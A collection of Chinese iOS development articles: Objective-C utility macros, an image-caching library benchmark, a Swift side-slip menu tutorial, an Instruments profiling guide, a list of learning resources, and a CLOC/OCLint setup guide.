#define ITTDERROR(xx, ...)  ITTDPRINT(xx, ##__VA_ARGS__)
#else
#define ITTDERROR(xx, ...)  ((void)0)
#endif

#if ITTLOGLEVEL_WARNING <= ITTMAXLOGLEVEL
#define ITTDWARNING(xx, ...)  ITTDPRINT(xx, ##__VA_ARGS__)
#else
#define ITTDWARNING(xx, ...)  ((void)0)
#endif

#if ITTLOGLEVEL_INFO <= ITTMAXLOGLEVEL
#define ITTDINFO(xx, ...)  ITTDPRINT(xx, ##__VA_ARGS__)
#else
#define ITTDINFO(xx, ...)  ((void)0)
#endif

#ifdef ITTDEBUG
#define ITTDCONDITIONLOG(condition, xx, ...) { if ((condition)) { \
ITTDPRINT(xx, ##__VA_ARGS__); \
} \
} ((void)0)
#else
#define ITTDCONDITIONLOG(condition, xx, ...) ((void)0)
#endif

#define ITTAssert(condition, ...)                                       \
do {                                                                      \
if (!(condition)) {                                                     \
[[NSAssertionHandler currentHandler]                                  \
handleFailureInFunction:[NSString stringWithUTF8String:__PRETTY_FUNCTION__] \
file:[NSString stringWithUTF8String:__FILE__]  \
lineNumber:__LINE__                                  \
description:__VA_ARGS__];                             \
}                                                                       \
} while(0)

系统宏

//获取版本
#define IOS_VERSION [[[UIDevice currentDevice] systemVersion] floatValue]
#define CurrentSystemVersion [[UIDevice currentDevice] systemVersion]

//获取当前语言
#define CurrentLanguage ([[NSLocale preferredLanguages] objectAtIndex:0])

//判断是真机还是模拟器  
#if TARGET_OS_IPHONE  
//iPhone Device  
#endif  
  
#if TARGET_IPHONE_SIMULATOR  
//iPhone Simulator  
#endif

//检查系统版本
#define SYSTEM_VERSION_EQUAL_TO(v)                  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)
#define SYSTEM_VERSION_GREATER_THAN(v)              ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)
#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v)  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN(v)                 ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v)     ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)

内存宏

//使用ARC和不使用ARC
#if __has_feature(objc_arc)
//compiling with ARC
#else
// compiling without ARC
#endif

#pragma mark - common functions
#define RELEASE_SAFELY(__POINTER) { [__POINTER release]; __POINTER = nil; }

//释放一个对象
#define SAFE_DELETE(P) if(P) { [P release], P = nil; }

#define SAFE_RELEASE(x) [x release];x=nil

图片宏

//读取本地图片
#define LOADIMAGE(file,ext) [UIImage imageWithContentsOfFile:[[NSBundle mainBundle]pathForResource:file ofType:ext]]

//定义UIImage对象
#define IMAGE(A) [UIImage imageWithContentsOfFile:[[NSBundle mainBundle] pathForResource:A ofType:nil]]

//定义UIImage对象
//#define ImageNamed(_pointer) [UIImage imageNamed:[UIUtil imageName:_pointer]]

//前两种宏性能高，省内存
//第三个没有必要使用，因为我们可以使用Xcode的插件

颜色宏

// rgb颜色转换（16进制->10进制）
#define UIColorFromRGB(rgbValue) [UIColor colorWithRed:((float)((rgbValue & 0xFF0000) >> 16))/255.0 green:((float)((rgbValue & 0xFF00) >> 8))/255.0 blue:((float)(rgbValue & 0xFF))/255.0 alpha:1.0]

//带有RGBA的颜色设置
#define COLOR(R, G, B, A) [UIColor colorWithRed:R/255.0 green:G/255.0 blue:B/255.0 alpha:A]

// 获取RGB颜色
#define RGBA(r,g,b,a) [UIColor colorWithRed:r/255.0f green:g/255.0f blue:b/255.0f alpha:a]
#define RGB(r,g,b) RGBA(r,g,b,1.0f)

//背景色
#define BACKGROUND_COLOR [UIColor colorWithRed:242.0/255.0 green:236.0/255.0 blue:231.0/255.0 alpha:1.0]

//清除背景色
#define CLEARCOLOR [UIColor clearColor]

#pragma mark - color functions
#define RGBCOLOR(r,g,b) [UIColor colorWithRed:(r)/255.0f green:(g)/255.0f blue:(b)/255.0f alpha:1]
#define RGBACOLOR(r,g,b,a) [UIColor colorWithRed:(r)/255.0f green:(g)/255.0f blue:(b)/255.0f alpha:(a)]

其他宏

//方正黑体简体字体定义
#define FONT(F) [UIFont fontWithName:@"FZHTJW--GB1-0" size:F]

//定义一个API
#define APIURL                @"http://xxxxx/"
//登陆API
#define APILogin              [APIURL stringByAppendingString:@"Login"]

//设置View的tag属性
#define VIEWWITHTAG(_OBJECT, _TAG)    [_OBJECT viewWithTag : _TAG]
//程序的本地化,引用国际化的文件
#define MyLocal(x, ...) NSLocalizedString(x, nil)

//G－C－D
#define BACK(block) dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), block)
#define MAIN(block) dispatch_async(dispatch_get_main_queue(),block)

//NSUserDefaults 实例化
#define USER_DEFAULT [NSUserDefaults standardUserDefaults]


//由角度获取弧度 有弧度获取角度
#define degreesToRadian(x) (M_PI * (x) / 180.0)
#define radianToDegrees(radian) (radian*180.0)/(M_PI)

单例宏

#define SYNTHESIZE_SINGLETON_FOR_CLASS(classname) \
\
static classname *shared##classname = nil; \
\
+ (classname *)shared##classname \
{ \
@synchronized(self) \
{ \
if (shared##classname == nil) \
{ \
shared##classname = [[self alloc] init]; \
} \
} \
\
return shared##classname; \
} \
\
+ (id)allocWithZone:(NSZone *)zone \
{ \
@synchronized(self) \
{ \
if (shared##classname == nil) \
{ \
shared##classname = [super allocWithZone:zone]; \
return shared##classname; \
} \
} \
\
return nil; \
} \
\
- (id)copyWithZone:(NSZone *)zone \
{ \
return self; \
}



 iOS图片缓存库基准对比

作者：CocoaChina

来源： iOS图片缓存库基准对比



                    
1. 引言


过去的几年里，iOS 应用在视觉方面越来越吸引人。图像展示是其中很关键的部分，因为大部分图像展示都需要下载并且渲染。大部分开发者都要使用图像填充表格视图（table views）或者集合视图（collection views）。下载图片消耗一些资源（如蜂窝数据、电池以及 CPU 等）。为了减少资源消耗，一些缓存模型也应运而生。


为了获得良好的用户体验，当我们缓存和加载图像时，了解 iOS 底层如何处理是很重要的。此外，大多数使用了图片缓存的开源库也是个不错解决方案。


2. 常用的解决途径



	异步下载图像 

	处理图像（拉伸，去红眼，去边框）以便展示

	写入磁盘

	需要时从磁盘读取并展示



    // 假设我们有一个 NSURL *imageUrl and UIImageView *imageView, 我们需要通过NSURL下载图片并在UIImageview上展示
    if ([self hasImageDataForURL:imageUrl] {
        NSData *data = [self imageDataForUrl:imageUrl];
        UIImage *image = [UIImage imageWithData:imageData];
        dispatch_async(dispatch_get_main_queue(), ^{
            imageView.image = image;
        });
    } else {
        [self downloadImageFromURL:imageUrl withCompletion:^(NSData *imageData, …) {
            [self storeImageData:imageData …];
            UIImage *image = [UIImage imageWithData:imageData];
            dispatch_async(dispatch_get_main_queue(), ^{
                imageView.image = image;
            });
        }];
    }



FPS 简介



	UI 渲染理想情况 FPS=60

	60FPS => 16.7ms 每帧，这就意味着如果任何主线程操作大于 16.7ms，动态 FPS 将会下降，因为 CPU 忙于处理其他事情，而不是渲染 UI。



3. 常用解决途径的缺点



	从磁盘加载图像或文件时间消耗昂贵（磁盘读取比内存读取慢大概 10-1000 倍，如果是 SSD 硬盘，则可能与内存读取速度更接近（大概慢 10 倍）。参考这里的比较：Introduction to RAM Disks

如果使用 SSD，将获得接近内存的速度（大概比内存访问速度慢十倍），但目前还没有手机和平板集成 SSD 模块。

	创建 UIImage 实例将会在内存区生成一个图片的压缩版。但是压缩后的图像太小且无法渲染，如果我们从磁盘加载图像，图像甚至都没有加载到内存。解压图片同样也很消耗资源。

	设置 imageView 的 image 属性，这种情况下将会创建一个 CATransaction 并加入主循环中。在下一次循环迭代中，CATransaction 会对任何设置为 layer contents 的图像进行拷贝。 



拷贝图像包含以下过程：



	给文件 io 和解压缩分配缓冲区

	读取磁盘数据到内存

	解压图像数据（生成原位图） - 高 CPU 消耗

	CoreAnimation 使用解压数据并渲染



字节位没有正确对齐的图像将被 CoreAnimation 拷贝，以修复字节位对齐并使之能被渲染。这一点在 Apple 文档里没有说明，但是使用 Instruments 表明 CA::Render::copy_image 会执行此操作，即使 Core Aniation 即使没有拷贝图像。


从 iOS7 开始，第三方应用不能使用JPEG硬件解码器。这意味着我们只能使用慢很多的软解码器。这一点在 FastImageCache 团队的 GitHub 主页以及 Nick Lockwood 的推文上都有指出。


4. 一个强大的 iOS 图像缓存需包含以下部分：



	异步下载图像，尽可能减少使用主线程队列

	使用后台队列解压图像。这是个复杂的过程，请阅读 Avoiding Image Decompression Sickness


	在内存和磁盘上缓存图像。在磁盘上缓存图像很重要，因为 App 可能因为内存不足而被强行关闭或者需要清理内存。这种情况下，重新从磁盘加载图像比下载会快很多。

备注：如果使用 NSCache 作为内存缓存，当有内存警告时，NSCache 会清空缓存内容。NSCache 相关细节请查看 nshipster 文章：NSCache  

	保存解压过的图片到硬盘以及内存中，以避免再次解压。

	使用 GCD 和 blocks，这将使得代码更加高效和简单，如今 GCD 和 blocks 是异步操作时必需的。

	最好使用 UIImageView 的分类以便集成

	最好在下载后以及存入到缓存前能够处理图像



iOS图像优化


更多的成像相关以及 SDK 框架（CoreGraphics, ImageIO, CoreAnimation, CoreImage)工作原理，CPU vs GPU 等，请阅读 @rsebbe 的文章：Advanced Imaging on iOS


Core Data 是一个好的选择吗？


这有一篇文章--CoreData 对比 File System，实现图像缓存的基准测试，结果 File System 的表现更好。


看一看上面罗列的观点，自己实现图像缓存不仅复杂，耗时而且痛苦。这也是为什么我倾向于使用开源的图像缓存解决方案，你们大部分已经听说过 SDWebImage 或 new FastImageCache。


为了让你知道哪个开源库最适合你，我做了测试并且分析它们如何满足上述要求。


5. 基准测试


测试库：



	
SDWebImage - version 3.5.4


	
FastImageCache - version 1.2


	
AFNetworking - version 2.2.1


	
TMCache - version 1.2.0


	
Haneke - version 0.0.5




注：AFNetworking 加入对比是由于其自iOS7后在磁盘缓存方面出色的表现（基于 NSURLCache 实现）


测试场景


对于每个库，我都会使用全新的测试app，然后启动app，等所有图像加载完后，慢慢滑动。然后以不同力度来回滑动（从慢到快）。接着关掉app强制应用从磁盘缓存中加载图像，最后重复以上测试场景。


关于测试 App 工程



	相关 demo 可以在 GitHub 找到并获取，名字是 ImageCachingBenchmark，同时还有本次实验的图表、结果数据表以及更多。


	请注意，请注意 GitHub 上的工程和图像缓存库都需要做一些调整，以便能让我们看到每一张缓存的图片都能够被加载出来。由于我不想检查 Cocoapods 源码文件（不是个好习惯），所以需要对 Cocoapods clean 后重新编译工程代码，目前 GitHub 上的版本与我做测试的版本有些差别。


	如果你们想重新跑一下测试，你需要编写相同 completionBlock 用于图像加载，所有库得要跟默认的 SDWebImage 一样返回 SDImageCacheType。




最快与最慢的设备对比结果


在 GitHub 工程上能看到完整的基准测试结果，由于这些表格很大，我只使用运行最快的设备 iPhone 5s 和运行最慢的 iPhone 4 来测试。








汇总：





表格名词解释：



	异步下载：库支持异步下载

	后台解压：通过后台队列或线程执行图像解压

	存储解压：存储解压后的图像版本

	内存/磁盘缓存：支持内存/磁盘缓存

	UIImageView 分类：库中含 UIImageView 类别

	从内存/磁盘：从缓存（内存/磁盘）中读取的平均时间



6. 结论



	从头开始编写 iOS 图像缓存组件很困难


	SDWebImage 和 AFNetworking 是稳定的工程。由于有很多贡献者，这样保证代码能够及时得到维护，FastImageCache 在维护方面更新很快。


	基于以上所有数据，我认为 SDWebImage 在目前是一个很好的解决方案。即使有些工程使用 AFNetworking 或 FastImageCache 更好，但是这些都依赖于项目需求。






原文：iOS image caching. Libraries benchmark (SDWebImage vs FastImageCache)

译者：夜微眠

校对：蓝魂、Cocoa

首发 CocoaChina
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本系列文章中，我们将尝试再造手机QQ的侧滑菜单，力争最大限度接近手Q的实际效果，并使用 Auto Layout 仿造左侧菜单，实现和主视图的联动。



  代码示例：https://github.com/johnlui/SwiftSideslipLikeQQ




基本数据采集


初步体验，手Q采用的应该是线性动画，即缩放比例等随着手指滑动的距离以一次方程的形式变化。动画达到最大幅度时截图如下（4.7 寸）：





提取基本数据：



	右侧主视图左边界距离屏幕左边界的距离占屏幕宽度的比例为：78%

	右侧主视图的高度占屏幕高度的比例为：77%



找出线性关系


1. 比例与手指移动距离的关系


字比较丑 o(╯□╰)o。注意：式（1）中的 x 表示“手指移动距离”这个变量，和上面图中表示屏幕宽度的 x 意义不同。





2. 矩形中心向右移动距离和手指移动距离相等


实现侧滑


1. 新建项目，在 StoryBoard 中新增一个 View Controller，并新增一个名为 HomeViewController 的 UIViewController 类，并在 StoryBoard 中完成绑定。


2. 给 HomeViewController 设置背景颜色以示区分。也可以像我一样设一个大 Label 作为更明显的区分。





3. 给 HomeViewController 拖放一个 UIPanGestureRecognizer 并绑定到代码。





4. 编写代码实现效果：


新建 Common.swift，存储屏幕宽度、高度：


swiftimport UIKit

struct Common {
    static let screenWidth = UIScreen.mainScreen().applicationFrame.maxX
    static let screenHeight = UIScreen.mainScreen().applicationFrame.maxY
}



修改 ViewController：


swiftimport UIKit

class ViewController: UIViewController {

    var homeViewController: HomeViewController!
    var distance: CGFloat = 0

    let FullDistance: CGFloat = 0.78
    let Proportion: CGFloat = 0.77

    override func viewDidLoad() {
        super.viewDidLoad()

        // 给主视图设置背景
        let imageView = UIImageView(image: UIImage(named: "back"))
        imageView.frame = UIScreen.mainScreen().bounds
        self.view.addSubview(imageView)

        // 通过 StoryBoard 取出 HomeViewController 的 view，放在背景视图上面
        homeViewController = UIStoryboard(name: "Main", bundle: nil).instantiateViewControllerWithIdentifier("HomeViewController") as! HomeViewController
        self.view.addSubview(homeViewController.view)

        // 绑定 UIPanGestureRecognizer
        homeViewController.panGesture.addTarget(self, action: Selector("pan:"))
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
        // Dispose of any resources that can be recreated.
    }

    // 响应 UIPanGestureRecognizer 事件
    func pan(recongnizer: UIPanGestureRecognizer) {
        let x = recongnizer.translationInView(self.view).x
        let trueDistance = distance + x // 实时距离

        // 如果 UIPanGestureRecognizer 结束，则激活自动停靠
        if recongnizer.state == UIGestureRecognizerState.Ended {

            if trueDistance > Common.screenWidth * (Proportion / 3) {
                showLeft()
            } else if trueDistance < Common.screenWidth * -(Proportion / 3) {
                showRight()
            } else {
                showHome()
            }

            return
        }

        // 计算缩放比例
        var proportion: CGFloat = recongnizer.view!.frame.origin.x >= 0 ? -1 : 1
        proportion *= trueDistance / Common.screenWidth
        proportion *= 1 - Proportion
        proportion /= 0.6
        proportion += 1
        if proportion <= Proportion { // 若比例已经达到最小，则不再继续动画
            return
        }
        // 执行平移和缩放动画
        recongnizer.view!.center = CGPointMake(self.view.center.x + trueDistance, self.view.center.y)
        recongnizer.view!.transform = CGAffineTransformScale(CGAffineTransformIdentity, proportion, proportion)
    }

    // 封装三个方法，便于后期调用

    // 展示左视图
    func showLeft() {
        distance = self.view.center.x * (FullDistance + Proportion / 2)
        doTheAnimate(self.Proportion)
    }
    // 展示主视图
    func showHome() {
        distance = 0
        doTheAnimate(1)
    }
    // 展示右视图
    func showRight() {
        distance = self.view.center.x * -(FullDistance + Proportion / 2)
        doTheAnimate(self.Proportion)
    }
    // 执行三种试图展示
    func doTheAnimate(proportion: CGFloat) {
        UIView.animateWithDuration(0.3, delay: 0, options: UIViewAnimationOptions.CurveEaseInOut, animations: { () -> Void in
            self.homeViewController.view.center = CGPointMake(self.view.center.x + self.distance, self.view.center.y)
            self.homeViewController.view.transform = CGAffineTransformScale(CGAffineTransformIdentity, proportion, proportion)
            }, completion: nil)
    }

}



5. 查看效果






  下一步：再造 “手机QQ” 侧滑菜单（二）——高仿左视图










原文：再造 “手机QQ” 侧滑菜单（一）——实现侧滑效果
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  你的 iOS 应用，运行速度靠谱吗？中枪的同学莫要愁，性能优化咱有妙招。用 Xcode 自家的调试工具 Instruments，揪出那些堵线程、占内存、耗资源的问题代码，彻底破掉迷局，让应用扬眉吐气！






对于每位 iOS 开发者来说，代码性能是个避不开的话题。随着项目的扩大和功能的增多，没经过认真调试和优化的代码，要么任性地卡顿运行，要么低调地崩溃了之……结果呢，大家用着不高兴，开发者也不开心。


其实要破这个局面并不难，只要在 Xcode 自带的监控调试工具 Instruments 上花点功夫，让大代码流畅运行也不是神话。Instruments 提供了很多功能，我会重点介绍一下我最常用的三大类：



	Time Profiler：分析代码的执行时间，找出导致程序变慢的原因。

	Allocations：监测内存使用/分配情况

迅速膨胀的内存可以很快让程序毙命，所以要多加防范。

	Leaks：找到引发内存泄漏的起点



即使有 ARC（自动引用计数）内存管理机制，但在现实中对象之间引用复杂，循环引用导致的内存泄漏仍然难以避免，所以关键时刻还要自力更生。


针对这三方面的测试，我写了个演示应用，放在 GitHub 上，来帮助大家更直观地了解这些工具的使用方法。好，进入正题。





Time Profiler


时间都去哪儿啦？ Time Profiler 可以回答。它会按照设定的时间间隔（默认 1 毫秒）来跟踪每一线程的堆栈信息（stack trace），并通过比较时间间隔之间的堆栈状态，来推算出某个方法执行了多久，给出一个近似值。

在演示应用头一项「Time Profiler: System Methods」中，我用插入排序（Insertion Sort）和冒泡排序（Bubble Sort）两种算法来做性能比较，下面是 Swift 代码：


/* 引用自：http://waynewbishop.com/swift/sorting-algorithms/ */

func insertionSort() {
    var x, y, key: Int

    for (x = 0; x < numberList.count; x++) {
        key = numberList[x]

        for (y = x; y > -1; y--) {
            if key < numberList[y] {
                numberList.removeAtIndex(y + 1)
                numberList.insert(key, atIndex: y)
            }
        }
    }
}

func bubbleSort() {
    var x, y, z, passes, key : Int

    for (x = 0; x < numberList.count; ++x) {
        passes = (numberList.count - 1) - x;

        for (y = 0; y < passes; y++) {
            key = numberList[y]

            if (key > numberList[y + 1]) {
                z = numberList[y + 1]
             numberList[y + 1] = key
                numberList[y] = z
            }
        }
    }
}



这段代码主要是对数组的添加和删除，两种方法执行起来耗时不多，但后台发生的系统动作却多得让人眼晕。





可以发现，代码用到了很多间接依赖，这些都是支撑代码运行的系统库文件。因为处理大数据集比较消耗系统资源，所以要尽可能地把繁重的操作放到后台去做，上面的代码就走的后台线程。在上图的 Call Tree 中可以看到，被调用的堆栈名是 dispatch_worker_thread3。如果把它放到主线程去执行，程序肯定会挂起。不信你注释掉 dispatch_async 调用看一下。


再来个图片加载的例子。





这儿有三种图片加载方法：



	loadSlowImage1：从指定 URL 下载一张图片（加载速度慢）

	loadImage2：从本地资源库加载一张图片（注意：没用系统缓存）

	loadFastImage3：从系统缓存中加载一张图片（加载速度快）



我们来看看 Time Profiler 算出的结果是不是跟预想的一样。


进入演示应用第二项「Time Profiler: Our Methods」，点击「Reload」十次来重复加载图片，这样能产生足够的数据来分析。然后在 Time Profiler 图表中通过拖拉鼠标选中要放大查看的区域，从 Call Tree 中双击调用了 .reload 方法那一行（上图中加亮选中那一行），就会跳转到对应的代码行，所用时间也标注出来了。





看到谁最花时间了吧。虽然代码没什么可优化的地方，但大家应该认识到缓存能发挥的作用。所以即使有时还得调用 loadSlowImage，多数情况下把图片缓存下来，还是能省些资源占用。


此外，我想再说说 Call Tree 的选项设置。





这些选项默认是不选的，但把它们勾选上可以帮你更快定位到关键的代码上，往往这也是问题的源头。



	Separate by Thread：按线程分开做分析，这样更容易揪出那些吃资源的问题线程。特别是对于主线程，它要处理和渲染所有的接口数据，一旦受到阻塞，程序必然卡顿或停止响应。

	Invert Call Tree：反向输出调用树。把调用层级最深的方法显示在最上面，更容易找到最耗时的操作。

	Hide Missing Symbols：隐藏缺失符号。如果 dSYM 文件或其他系统架构缺失，列表中会出现很多奇怪的十六进制的数值，用此选项把这些干扰元素屏蔽掉，让列表回归清爽。

	Hide System Libraries：隐藏系统库文件。过滤掉各种系统调用，只显示自己的代码调用。

	Flattern Recursion：拼合递归。将同一递归函数产生的多条堆栈（因为递归函数会调用自己）合并为一条。

	Top Functions：找到最耗时的函数或方法。



需要添加其他工具的话：





Allocations


我们经常需要从服务器下载大量图片，特别是开发照片类的应用。但往往稍不注意，内存使用就会暴增，所以得保证把这些图片缓存下来以便重复使用。下面来看看演示程序中内存分配的例子。





从图中可以看到，每次点击「Reload」重新载入图片时，内存都会出现使用峰值。应用先分配大量内存来替换原有图片，然后再释放掉这部分内存，可想而知这样的操作效率高不了，而且如果要下载更大的文件，呃，局面大概会失控吧。


看一下堆栈列表第四行，ImageIO_PNG_Data 里有 9 张处于活动状态的图片，占用了12.38 MB 内存，这些都是没被系统释放或缓存的内存，所以导致堆内存分配升高。接下来再看看使用缓存后的效果。





使用了缓存库（Swift Haneke）后，点「Reload」五次，这回在 Allocations 列表中却看不到 ImageIO_PNG_Data 对象了，这说明它是空的，没有任何图像数据。同时，All Heap Allocations 的大小已从刚才的 14.61 MB 降到了 2.51 MB。Anonymous VM（匿名虚拟内存）是系统为程序预留的、可能会立即被重复使用的一部分可用内存。要防止程序崩溃，就别让堆的尺寸增长太快。


还有就是，例子用的是异步方式来加载图片，这样用不着等到所有图片下载完才能在界面中显示。大多数图像缓存库都会把加载工作放到后台，以避免延长主线程的响应周期。


Leaks


尽管 Apple 推出的 ARC 可以有效防范内存泄漏，但出问题的机率还是会有，Swift 也不例外。鉴于篇幅有限，本文就不涉及内存和 ARC 的工作原理了，具体可以参考官方文档。我会用代码来触发内存泄漏。


首先从最底层上说，当两个对象相互建立了强引用（strong reference），当一个对象被释放，另一个对象由于是强引用的关系不允许被释放，此时 ARC 无法确定没被释放的对象到底还有没有用，于是就导致了内存泄漏。





要解决这个问题，可以将其中的一个对象中变量设为 weak，不让它出现在保留周期中。很多开发者在管理 view controller 时常会在内存泄漏上中招，以为换了新的 controller，老的 controller 就被释放回收了，其实还没。这样代码一多，就会造成很多对象都没被释放。所以用这个工具把整个应用跑一遍，把那些断链的强引用清理干净，会大有裨益。


除了上述这三类工具，Instruments 还有很多实用的工具，推荐大家根据自己的关注点，花些时间去学学。比如：



	Core Data：监测读取、缓存未命中、保存等操作，能直观显示是否保存次数远超实际需要。

	Cocoa Layout：观察约束变化，找出布局代码的问题所在。

	Network：跟踪 TCP / IP和 UDP / IP 连接。

	Automations：创建和编辑测试脚本来自动化 iOS 应用的用户界面测试。



最后小总结下。我倒不想一味夸大 Instruments 的作用，如果应用跑得挺痛快，没出现啥调皮行为，大可把它忽略，等到问题来了再做优化。对于新手来说，花些时间了解 Instruments 的功能，多调试多积累经验，这样做出来的应用在用户体验上肯定错不了。


你最常用的 Instruments 工具都有哪些？欢迎与我们分享。




原文：How To Use The 3 Instruments You Should Be Using

译者：LeanCloud


 iOS 学习参考资料

作者：wdd2007

来源： iOS 学习参考资料



                    
编程语言


Programming with Objective-C: About Objective-C ： Apple 撰写的一份关于 Objective-C 2.0 的一份文档，这也算是学习 iOS/Mac 开发必读的一份文档，记得我当初看的时候是叫做 The Objective-C Programming Language。


Learn Objective-C ：这也是广受推荐的一份文档，短小精练，适合入门。


Programming in Objective-C 2.0 原书已经出到第四版了，建议阅读原版，中文版是根据第二版翻译的。此书比较适合入门，它甚至涵盖了 C 语言一些知识。而不像《Objective-C基础教程》直接就进入 Objective-C 及面向对象的一些思想。


Objective-C编程（英文名：Objective-C Programming: The Big Nerd Ranch Guide）：有中文的，翻一翻，照着书，把代码在 Xcode 上敲一遍，编译下看看结果，也可以对代码做些修改，看会不会报错，看会不会得到不同的结果，其实编程就是这样学的，慢慢地就入门了。看完这本书，对 Objective-C 的语法有个大概的了解即可。另外此书的英文版已经出到第 2 版了，如果英语能力不错的，推荐看第 2 版，请点击这里。


iOS 开发


马上着手开发 iOS 应用程序：苹果官方入门资料，也有的英文版。这个教程是教你写一个 TodoList 的 app，无需其它准备工作，你可以直接开始，照着教程一步一步做，不需要理解每一步到底是为什么，这是为了让你对 iOS 开发有个大概的认识，也可以让你快速建立对 iOS 开发的兴趣和信心。


iOS Developer Library：官方的文档库，也是最靠谱的资料了，在 Xcode 中也可以下载后直接查阅。


Beginning iOS 6 Development: Exploring the iOS SDK ：这个书算是用得比较多的一本了，当初我也是看着这本边学边做。且作者也比较勤快，基本跟随 iOS 更新的步伐，每年修订。当时我看的是 iOS 5 的版本，也建议任何学习资料要看要 iOS 5 以后版本的，因为其引入了 ARC，在内存管理方面和以前的方式有很大的不同。


iOS Programming: The Big Nerd Ranch Guide：如果你想对 iOS 开发有个深入、系统地了解，可以看看这本书。比起上面那本这本涉及的面会稍微广些，建议辅助用。


Ray Wenderlich 的「The iOS Apprentice」教程：目前最新版是第 3 版，质量上乘，包含 Objective-C 和 Swift 的教程，手把手教你写 4 个 app。


视频教程


斯坦福大学公开课：iOS 7应用开发：适用于iOS7。本课程介绍了使用Xcode5建造iPhone平台上的应用程序所需的工具和应用程序接口；使用多点触控技术，为手机等终端设计用户互交界面等技术进行面向对象的设计。其他主题包括：内核动画、bonjour网络、移动终端电量管理和性能测评。此外 iTunes 上的英文原版见这里。


The Complete iOS 7 Course - Learn by Building 14 Apps：很不错的课程，本来是收费的教程，貌似在用 Swift 重写，所以把 oc 的这套免费了。


Design+Code: Learn iOS design and Xcode：这套教程的价格目前是 $50，非常超值，而且还可以得到一个 Sketch 的 8 折优惠码，一个 Ember 的 7 折优惠码。这套教程的好处在于，你不仅学会了用 Objective-C 开发一个 app，同时还学会了用 Sketch 设计一个 app，里面还包含了 Swift 的教程。


开源项目


Github 优秀开源项目收集：http://github.ibireme.com/github/list/ios/

code4app 上的代码资源：http://code4app.com/resource


优秀博客


objc中国：http://objccn.io/

大猫的意淫笔记：http://bigc.at/

M了个J：http://www.cnblogs.com/mjios

唐巧技术博客—— ios开发、java开发等：http://blog.devtang.com

董宝君的iOS技术博客：http://blog.devdong.com/

图拉鼎的博客：http://imtx.me/

ygm900：http://www.cnblogs.com/ygm900/

雨中泪雪人的博客：http://blog.sina.com.cn/yzykhq

EntLib.net 技术分享平台：http://www.entlib.net/?cat=95

Yaski的iPhone博客：http://www.cnblogs.com/yaski/

AppCoda - Learn iOS Programming and Build iPhone App：http://www.appcoda.com/

梦维：http://www.dreamingwish.com/

RannieR的技术博客：http://blog.csdn.net/ran0809/article/category/1569165

丸子的iOS开发经验：http://iaiai.iteye.com/category/202253

邓映山的博客：http://www.objcer.com/

王德康的空间：http://my.oschina.net/wangdk/blog?catalog=375448

唐韧 Ryan's zone In Android & iOS：http://blog.csdn.net/tangren03/article/category/1073221

MAGICALBOY：http://magicalboy.com/

菜鸟学iOS的笔记 - 新风作浪的博客专栏：http://blog.csdn.net/duxinfeng2010/article/category/1155790

阿福的专栏：http://blog.csdn.net/lizhongfu2013

iOS-Coding的博客：http://blog.sina.com.cn/p709723778

破船之家：http://beyondvincent.com/

iOS分享网——分享iOS开发学习资料（视频电子书文章源码）：http://iosshare.cn/

songrotek的专栏：http://blog.csdn.net/songrotek

容芳志专栏：http://blog.csdn.net/totogo2010

fengsh998的专栏：http://blog.csdn.net/fengsh998/article/category/1222508


参考来源



	http://www.jianshu.com/p/KSuDqb

	http://readful.com/post/101914515826/0-ios

	http://ruziniu0510.blog.163.com/blog/static/86050179201393045738887/
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分享两个工具



	代码统计：CLOC


	代码分析：oclint




关于第三方工具的安装，推荐使用Homebrew，唐巧大神也在博客中推荐过。使用brew search xxxx来查看是否有对应的工具可以使用Homebrew安装。


CLOC


CLOC是专门用于代码统计的命令行工具，支持几乎所有语言。


使用Homebrew安装：brew install cloc，使用也非常简单，命令行进入项目目录，执行cloc ./即可，这样会统计目录下的所有代码。如果不希望统计某些文件夹，可以设置需要忽略的目录，比如忽略Pods文件夹：cloc ./ --exclude-dir=Pods。


统计结果：


oclit


oclit作为一个静态的代码分析工具，功能非常强大，而且出自国人之手。


为了一劳永逸，首先安装xctool：brew install xctool，这是Facebook提供的代替苹果xcodebuild的工具。


安装oclit：brew install Caskroom/cask/oclint，为了能够在Xcode上直接显示代码分析的结果，还需要完成以下几步



	添加Aggregate，


	为刚才创建的Aggregate添加运行脚本，注意：不要在选中Aggregate的状态下点击Editor菜单，不然Add Run Script Build Phase按钮是灰色的 


	添加脚本代码，脚本代码和官方文档有些不同。



#import path
export PATH=${PATH}:/usr/local/bin
#import what we have in bash_profile
source ~/.bash_profile
#check for oclint
hash oclint &> /dev/null
if [ $? -eq 1 ]; then
echo >&2 "oclint not found, analyzing stopped"
exit 1
fi

hash xctool &> /dev/null
if [ $? -eq 1 ]; then
echo >&2 "xctool not found, analyzing stopped"
exit 1
fi

cd ${SRCROOT}
xctool -workspace MyProject.xcworkspace -scheme MyProject clean
xctool -workspace MyProject.xcworkspace -scheme MyProject -reporter json-compilation-database:compile_commands.json build
oclint-json-compilation-database \
-e Pods \
-- -rc=LONG_LINE=100 \
-rc=NCSS_METHOD=60 \
-rc=MINIMUM_CASES_IN_SWITCH=1 \
| sed 's/\(.*\.\m\{1,2\}:[0-9]*:[0-9]*:\)/\1 warning:/'



注意：上面代码中的MyProject需要替换成你的工程名，如果你的工程不是用workspace来管理的，那么其中这两行代码


xctool -workspace MyProject.xcworkspace -scheme MyProject clean
xctool -workspace MyProject.xcworkspace -scheme MyProject -reporter json-compilation-database:compile_commands.json build



需要替换为


xctool -project MyProject.xcodeproj -scheme MyProject clean
xctool -project MyProject.xcodeproj -scheme MyProject -reporter json-compilation-database:compile_commands.json build



4.编译刚才创建的Aggregate，需要耐性等待结果，完成之后就能看到oclint给出的结果


错误排查


若build成功了但是没有给出任何警告，很可能是出现了错误



	检查

是否有警告，之前就遇到team没选择对，导致没有分析结果，或者像我一样选择None。

